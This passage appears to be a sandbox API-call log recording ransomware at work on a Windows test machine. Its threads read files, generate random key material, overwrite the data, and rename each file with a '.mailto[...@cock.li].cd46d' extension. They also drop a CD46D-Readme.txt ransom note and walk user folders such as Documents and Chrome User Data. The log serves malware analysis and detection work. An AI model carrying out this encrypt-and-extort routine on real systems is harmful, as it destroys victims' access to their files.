hFile=0x1260, lpBuffer=0x1533f874, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1533f870, lpOverlapped=0x0 | out: lpBuffer=0x1533f874*, lpNumberOfBytesRead=0x1533f870*=0x4, lpOverlapped=0x0) returned 1 [0061.780] SetFilePointerEx (in: hFile=0x1260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.781] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0061.781] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429318 [0061.781] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4292a0 [0061.781] NtQuerySystemTime (in: CurrentTime=0x1533f850 | out: CurrentTime=0x1533f850*=132174898257684000) returned 0x0 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x612f7fe3 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x1cde6670 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x6ec772f2 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x679a5e10 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x399c6f49 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x28a704c0 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x78f82c00 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x20264ed [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x41336d23 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x4cf98690 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x6a625344 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x72b59b20 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x631b7acf [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x3e181605 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x523e8ae6 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x24567474 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x46ecf4c9 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x2c0a5740 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x2ea59924 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x3dbd0b68 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x19b38d98 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x6ebeb02 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x17461873 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x796f500c [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x31600b10 [0061.781] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x504d0b44 [0061.782] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x201aba4f [0061.782] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x513317c3 [0061.782] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x7090f7a2 [0061.782] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x4462155e [0061.782] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x828a0f1 [0061.782] RtlRandomEx (in: Seed=0x1533f85c | out: Seed=0x1533f85c) returned 0x68e1ac6c [0061.795] SetFilePointerEx (in: hFile=0x1260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.795] ReadFile (in: hFile=0x1260, lpBuffer=0x96fa100, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1533f830, lpOverlapped=0x0 | out: lpBuffer=0x96fa100*, lpNumberOfBytesRead=0x1533f830*=0xc800, lpOverlapped=0x0) returned 1 [0061.804] SetFilePointerEx (in: hFile=0x1260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402840 [0061.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418ed8 [0061.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0061.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429138) returned 1 [0061.805] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x965a670 [0061.809] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0061.809] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4292a0 [0061.809] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292a0) returned 1 [0061.809] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418ed8) returned 1 [0061.810] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 [0061.810] WriteFile (in: hFile=0x1260, lpBuffer=0x965a670*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1533f830, lpOverlapped=0x0 | out: lpBuffer=0x965a670*, lpNumberOfBytesWritten=0x1533f830*=0xc800, lpOverlapped=0x0) returned 1 [0061.811] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x965a670) returned 1 [0061.812] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96fa100) returned 1 [0061.812] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x97ceb10 [0061.812] SetFilePointerEx (in: hFile=0x1260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.812] WriteFile (in: hFile=0x1260, lpBuffer=0x12d7c968*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x1533f8b0, lpOverlapped=0x0 | out: lpBuffer=0x12d7c968*, lpNumberOfBytesWritten=0x1533f8b0*=0x10b, lpOverlapped=0x0) returned 1 [0061.813] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c968) returned 1 [0061.813] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea80) returned 1 [0061.813] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292a0) returned 1 [0061.813] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb10) returned 1 [0061.813] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429138) returned 1 [0061.813] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429318) returned 1 [0061.813] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429250) returned 1 [0061.813] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429278) returned 1 [0061.813] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe2) returned 0x44e420 [0061.813] wcscpy (in: _Dest=0x44e420, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" [0061.813] wcscat (in: _Dest=0x44e420, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin.mailto[2Hamlampampom@cock.li].cd46d" [0061.813] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1533f868, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.813] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf8) returned 0x41c0b8 [0061.815] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41c0b8) returned 1 [0061.815] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e21d60) returned 1 [0061.815] NtQueryInformationFile (in: FileHandle=0x1260, IoStatusBlock=0x1533f874, FileInformation=0x1533f84c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1533f874, FileInformation=0x1533f84c) returned 0x0 [0061.815] NtSetInformationFile (FileHandle=0x1260, IoStatusBlock=0x1533f874, FileInformation=0x1533f84c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.816] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e420) returned 1 [0061.816] FlushFileBuffers (hFile=0x1260) returned 1 [0062.216] CloseHandle (hObject=0x1260) returned 1 [0062.717] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x442a40 [0062.717] wcscpy (in: _Dest=0x442a40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0062.717] wcscat (in: _Dest=0x442a40, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\CD46D-Readme.txt" [0062.717] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cd46d-readme.txt")) returned 0xffffffff [0062.718] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x650 [0063.419] WriteFile (in: hFile=0x650, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x1533f870, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x1533f870*=0x6fd, lpOverlapped=0x0) returned 1 [0063.420] CloseHandle (hObject=0x650) returned 1 [0063.420] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442a40) returned 1 [0063.420] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e068) returned 1 Thread: id = 844 os_tid = 0x110c [0051.738] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3c) returned 0x402408 [0051.738] wcscpy (in: _Dest=0x402408, _Source="C:\\Users\\All Users\\Sun\\Java" | out: _Dest="C:\\Users\\All Users\\Sun\\Java") returned="C:\\Users\\All Users\\Sun\\Java" [0051.738] wcscat (in: _Dest=0x402408, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\") returned="C:\\Users\\All Users\\Sun\\Java\\" [0051.738] wcscat (in: _Dest=0x402408, _Source="*" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\*") returned="C:\\Users\\All Users\\Sun\\Java\\*" [0051.738] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f798 [0051.738] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\*", lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a028 [0051.738] wcscmp (_String1=".", _String2=".") returned 0 [0051.738] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.738] wcscmp (_String1="..", _String2=".") returned 1 [0051.738] wcscmp (_String1="..", _String2="..") returned 0 [0051.738] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1 [0051.738] wcscmp (_String1="Java Update", _String2=".") returned 1 [0051.738] wcscmp (_String1="Java Update", _String2="..") returned 1 [0051.738] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x414150 [0051.739] wcscpy (in: _Dest=0x414150, _Source="C:\\Users\\All Users\\Sun\\Java" | out: _Dest="C:\\Users\\All Users\\Sun\\Java") returned="C:\\Users\\All Users\\Sun\\Java" [0051.739] wcscat (in: _Dest=0x414150, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\") returned="C:\\Users\\All Users\\Sun\\Java\\" [0051.739] wcscat (in: _Dest=0x414150, _Source="Java Update" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\Java Update") returned="C:\\Users\\All Users\\Sun\\Java\\Java Update" Thread: id = 845 os_tid = 0x1110 [0051.739] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439b18 [0051.739] wcscpy (in: _Dest=0x439b18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0051.739] wcscat (in: _Dest=0x439b18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0051.739] wcscat (in: _Dest=0x439b18, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*" [0051.739] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430870 [0051.739] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x430870 | out: lpFindFileData=0x430870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440c60 [0052.204] wcscmp (_String1=".", _String2=".") returned 0 [0052.204] FindNextFileW (in: hFindFile=0x440c60, lpFindFileData=0x430870 | out: lpFindFileData=0x430870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.496] wcscmp (_String1="..", _String2=".") returned 1 [0055.496] wcscmp (_String1="..", _String2="..") returned 0 [0055.496] FindNextFileW (in: hFindFile=0x440c60, lpFindFileData=0x430870 | out: lpFindFileData=0x430870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0055.496] wcscmp (_String1="CertificateTransparency", _String2=".") returned 1 [0055.496] wcscmp (_String1="CertificateTransparency", _String2="..") returned 1 [0055.496] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e028a0 [0055.496] wcscpy (in: _Dest=0x5e028a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0055.496] wcscat (in: _Dest=0x5e028a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0055.496] wcscat (in: _Dest=0x5e028a0, _Source="CertificateTransparency" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" Thread: id = 846 os_tid = 0x1114 [0051.744] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x43c5c0 [0051.744] wcscpy (in: _Dest=0x43c5c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" [0051.744] wcscat (in: _Dest=0x43c5c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\" [0051.744] wcscat (in: _Dest=0x43c5c0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*" [0051.744] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430fa8 [0051.744] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409f28 [0051.921] wcscmp (_String1=".", _String2=".") returned 0 [0051.921] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.921] wcscmp (_String1="..", _String2=".") returned 1 [0051.921] wcscmp (_String1="..", _String2="..") returned 0 [0051.922] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0051.922] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0051.922] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0051.922] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0051.922] wcscmp (_String1="Favorites.vss", _String2=".") returned 1 [0051.922] wcscmp (_String1="Favorites.vss", _String2="..") returned 1 [0051.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x447320 [0051.922] wcscpy (in: _Dest=0x447320, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" [0051.922] wcscat (in: _Dest=0x447320, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\" [0051.922] wcscat (in: _Dest=0x447320, _Source="Favorites.vss" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" [0055.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfec [0055.598] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0055.598] wcscmp (_String1="_private", _String2=".") returned 1 [0055.598] wcscmp (_String1="_private", _String2="..") returned 1 [0055.598] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400218 [0055.598] wcscpy (in: _Dest=0x400218, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" [0055.598] wcscat (in: _Dest=0x400218, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\" [0055.598] wcscat (in: _Dest=0x400218, _Source="_private" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private" [0055.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x400218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc0 [0055.599] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0055.599] FindClose (in: hFindFile=0x409f28 | out: hFindFile=0x409f28) returned 1 [0055.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430fa8) returned 1 [0055.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43c5c0) returned 1 [0055.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421658) returned 1 Thread: id = 847 os_tid = 0x1118 [0051.745] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x43c630 [0051.745] wcscpy (in: _Dest=0x43c630, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS 